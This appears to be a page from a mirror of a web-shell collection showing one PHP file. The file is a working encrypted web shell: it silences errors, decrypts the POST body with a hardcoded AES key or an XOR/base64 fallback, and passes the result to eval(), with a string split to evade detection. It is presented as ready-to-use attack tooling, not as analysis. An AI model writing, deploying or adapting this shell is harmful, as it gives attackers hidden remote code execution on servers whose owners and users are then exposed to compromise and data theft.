mirror of
https://github.com/tennc/webshell
synced 2024-11-29 06:30:20 +00:00
30 lines
589 B
PHP
30 lines
589 B
PHP
|
<?php
|
||
|
|
@error_reporting(0);
|
||
|
|
session_start();
|
||
|
|
|
||
|
|
if ($_SERVER['REQUEST_METHOD'] === 'POST')
|
||
|
|
{
|
||
|
|
$key="e45e329feb5d925b";
|
||
|
|
$_SESSION['k']=$key;
|
||
|
|
$post=file_get_contents("php://input");
|
||
|
|
if(!extension_loaded('openssl'))
|
||
|
|
{
|
||
|
|
$t="base64_"."decode";
|
||
|
|
$post=$t($post."");
|
||
|
|
|
||
|
|
for($i=0;$i<strlen($post);$i++) {
|
||
|
|
$post[$i] = $post[$i]^$key[$i+1&15];
|
||
|
|
}
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
$post=openssl_decrypt($post, "AES128", $key);
|
||
|
|
}
|
||
|
|
$arr=explode('|',$post);
|
||
|
|
$func=$arr[0];
|
||
|
|
$params=$arr[1];
|
||
|
|
class C{public function __invoke($p) {eval($p."");}}
|
||
|
|
@call_user_func(new C(),$params);
|
||
|
|
}
|
||
|
|
?>
|